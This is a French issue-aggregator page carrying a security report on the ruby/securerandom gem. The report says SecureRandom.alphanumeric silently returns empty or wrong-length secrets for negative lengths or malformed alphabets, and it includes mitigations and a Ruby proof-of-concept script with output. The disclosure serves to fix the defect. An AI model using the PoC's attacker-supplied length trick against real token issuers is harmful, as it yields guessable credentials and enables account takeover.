SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 2/5
- Temps estimé
- 1-3 heures
- Accessibilité débutants
- 67/100
Piste de recherche
Commencez par lib/securerandom.rb:55 et suivez l’implémentation alphanumérique ainsi que sa méthode choose partagée ; à partir de Ruby 3.3, vérifiez également Random::Formatter. Ajoutez des tests pour les longueurs négatives et les valeurs chars non valides, notamment pour vérifier si la chaîne renvoyée correspond à la longueur demandée. Le travail est terminé lorsque les entrées non valides déclenchent une exception et que les entrées valides renvoient toujours exactement le nombre de caractères demandé.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
About
Title: SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising
Repository: ruby/securerandom
Location: lib/securerandom.rb:55
Severity: Low
Impacted versions: HEAD, 0.4.1, ruby-3.3 random/formatter.rb, ruby-3.4 random/formatter.rb
Summary
SecureRandom.alphanumeric(n, chars:) documents that n is the number of characters in the
returned string, but it never validates n or the character set and never checks the length
of what it built. A negative n makes both generation loops skip, so the method returns the
empty string. A Hash-like alphabet (for example a JSON/YAML document parsed into a Hash)
makes the internal values_at look up integer keys on a Hash, find nothing, and join the
resulting nils into the empty string. nil and "" elements are joined away and shorten
the result, while multi-character elements lengthen it. In every case the method returns
normally, so the caller has no signal that it did not get the secret it asked for.
Ruby's hex, random_bytes and bytes raise ArgumentError for a negative size, so a caller
reasonably expects alphanumeric(-1) to fail as well. On Ruby 3.3 and later the code is in
the standard library's Random::Formatter; the securerandom gem's compatibility shim for
Ruby 3.1/3.2 calls the same choose method. The library-side fix is to coerce and
range-check n, validate that chars is an Array of at least two non-empty single-character
strings, and assert that the result length equals n before returning it.
Impact
Any caller that relies on the documented length contract can receive a zero- or
low-entropy secret with no error. If a service lets a user or configuration influence the
token length or alphabet (a custom-length API-key or invite-code feature, or a charset
loaded from JSON/YAML), an attacker can force newly issued secrets to be "" or short.
Empty or short API keys, session identifiers, invite codes or password-reset tokens are
trivially guessable, and the application will treat them as if they were strong because no
exception was raised.
The library-side defect is the silent failure: the API cannot be trusted to honour its
stated contract. Whether a particular service reaches account takeover depends on how it
exposes the length or character set to the attacker; a service that only lets a user
choose the length of a token issued to that same user has a weaker (self-inflicted)
problem, while a service with a shared or attacker-influenced length/charset can issue
guessable credentials to other accounts. In both cases the correct behaviour is to fail
loudly rather than return a weaker secret.
Mitigations
Reject non-positive/non-integer n and clamp to a sane maximum; validate the alphabet (must
be an Array of at least 2 non-empty, single-character strings) and reject Hash/other
types; after generation assert the returned string's length equals n and re-raise
otherwise; never let untrusted input choose token length or character set for
security-sensitive values; use a fixed-size random_bytes/hex for secrets.
Examples
example 1
An API-key endpoint accepts a length parameter and passes it to SecureRandom.alphanumeric.
length=-1 returns ""; the empty key is stored and shown to the user as a valid key,
whereas SecureRandom.hex(-1) in the same codebase raises ArgumentError.
example 2
A service loads its allowed character set from JSON into a Hash such as {"a":1,"b":2} (for
example a map of symbols to weights). Passing it as chars: yields "" for every token
because values_at indexes by integer key and gets nil.
example 3
A charset array containing nil or "" (for example from a split that produced empty fields)
shortens every token; multi-character entries such as ["ab","cd"] make it longer than
requested, breaking length assumptions in downstream storage, validation or rate
calculations.
example 4
An invite-code generator asks for 8 characters from a 3-element array that includes a nil.
It stores, on average, several characters fewer than expected, reducing the search space;
a Hash-shaped alphabet reduces it to the single empty token.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: SecureRandom.alphanumeric silently violates its "return n characters"
# contract and hands back an empty or short secret with NO error, when the
# caller forwards an attacker-influenced length (or alphabet).
#
# Target : securerandom gem lib/securerandom.rb:55-58
# (and Ruby >= 3.3 Random::Formatter#alphanumeric -> #choose)
# Effect : a token generator that asks for a 32-char secret gets "" (zero
# entropy). If n comes from a request (e.g. ?length=) or the alphabet
# is user/config supplied, an attacker forces every issued token to be
# the empty string -> trivially guessable reset/API/session tokens.
#
# This attacks the real gem through its public API.
require "securerandom"
puts "== SecureRandom #{SecureRandom::VERSION} - silent length-contract break =="
puts
def show(label, value)
puts format(" %-52s => %-24s (len=%d)", label, value.inspect, value.length)
end
# Baseline: a well-formed secret.
show("alphanumeric(32)", SecureRandom.alphanumeric(32))
# The failure modes -----------------------------------------------------------
# 1) attacker-supplied negative length instead of a positive one
show("alphanumeric(-1)", SecureRandom.alphanumeric(-1))
show("alphanumeric(-1000000)", SecureRandom.alphanumeric(-1000000))
# 2) attacker-supplied alphabet that is Hash-like (e.g. parsed from JSON/YAML:
# {"a":1,"b":2}) -> values_at indexes by integer key, returns nil -> ""
show("alphanumeric(32, chars: {\"a\"=>1,\"b\"=>2})",
SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }))
# 3) alphabet whose entries collapse when joined (nil / "") -> short result
r = SecureRandom.alphanumeric(8, chars: [nil, "a", "b"])
show("alphanumeric(8, chars: [nil, \"a\", \"b\"]) (one run)", r)
# 4) multi-character entries blow the length up instead of down
show("alphanumeric(8, chars: [\"ab\",\"cd\"])",
SecureRandom.alphanumeric(8, chars: ["ab", "cd"]))
puts
puts "For comparison, hex()/bytes() *do* reject a negative size:"
begin
SecureRandom.hex(-1)
rescue => e
puts " SecureRandom.hex(-1) => #{e.class}: #{e.message}"
end
puts
# --- demonstrate the security consequence -----------------------------------
# A minimal, realistic caller: a token issuer that lets the client choose the
# length of the key it is about to mint (a common "custom length" option).
def issue_api_key(length_param)
n = Integer(length_param) # client-controlled
SecureRandom.alphanumeric(n) # trusts the length contract
end
puts "[*] token issuer using an attacker-supplied ?length= :"
[32, -1].each do |len|
key = issue_api_key(len)
verdict = key.empty? ? "EMPTY -> guessable" : "ok"
puts format(" ?length=%-6s issues key %-10s (len=%d) %s", len, key.inspect, key.length, verdict)
end
puts
if SecureRandom.alphanumeric(-1).empty? &&
SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }).empty?
puts "[+] RESULT: alphanumeric returned a zero-length secret with no exception."
puts " A caller that supplied ?length=-1 (or a map-shaped charset) just"
puts " handed the attacker the empty string as the token."
exit 0
else
puts "[-] contract violation not reproduced on this host."
exit 2
end
stdout
== SecureRandom 0.4.1 - silent length-contract break ==
alphanumeric(32) => "orH2W1smeQb3i4eKzzAnAYUHTErQ9ow3" (len=32)
alphanumeric(-1) => "" (len=0)
alphanumeric(-1000000) => "" (len=0)
alphanumeric(32, chars: {"a"=>1,"b"=>2}) => "" (len=0)
alphanumeric(8, chars: [nil, "a", "b"]) (one run) => "abbbb" (len=5)
alphanumeric(8, chars: ["ab","cd"]) => "cdcdcdabcdabcdab" (len=16)
For comparison, hex()/bytes() *do* reject a negative size:
SecureRandom.hex(-1) => ArgumentError: negative string size (or size too big)
[*] token issuer using an attacker-supplied ?length= :
?length=32 issues key "PxibdjNJoL6ZR8QRO5vATkEK5ZPd09e6" (len=32) ok
?length=-1 issues key "" (len=0) EMPTY -> guessable
[+] RESULT: alphanumeric returned a zero-length secret with no exception.
A caller that supplied ?length=-1 (or a map-shaped charset) just
handed the attacker the empty string as the token.
- Langage dominant
- Ruby
- Étoiles
- 76
- Forks
- 17
- Merge moyen
- 42 min
- PR mergées (30 j)
- 5
Préparer son environnement
Ce projet ne fournit ni conteneur de développement, ni Dockerfile, ni guide de contribution : l'installation est à votre charge. Commencez par son README, et consultez notre guide de la première contribution pour les étapes générales.
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de ruby/securerandom
-
Difficulté 2/5 1-3 heures Accessibilité débutants 76/100
ruby/securerandom#91 ·
-
Difficulté 2/5 1-3 heures Accessibilité débutants 35/100
ruby/securerandom#37 · 3 commentaires ·
-
Difficulté 4/5 3-5 jours Accessibilité débutants 28/100
ruby/securerandom#31 · 1 commentaire ·
-
Make ractor safeOuverte
Difficulté 4/5 3-5 jours Accessibilité débutants 25/100
ruby/securerandom#16 ·
Toutes les issues de ruby/securerandom
Issues similaires
-
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 85/100
open-feature/ruby-sdk-contrib#340 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 88/100
zold-io/wts.zold.io#651 ·
Les mainteneurs répondent en général sous 1 jour
-
good first issue help wanted
Difficulté 2/5 1-3 heures Accessibilité débutants 87/100
erkamyaman/rust-anything#788 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 1/5 Moins d'une heure Accessibilité débutants 74/100
TheOdinProject/curriculum#31579 ·
Les mainteneurs répondent en général sous 1 jour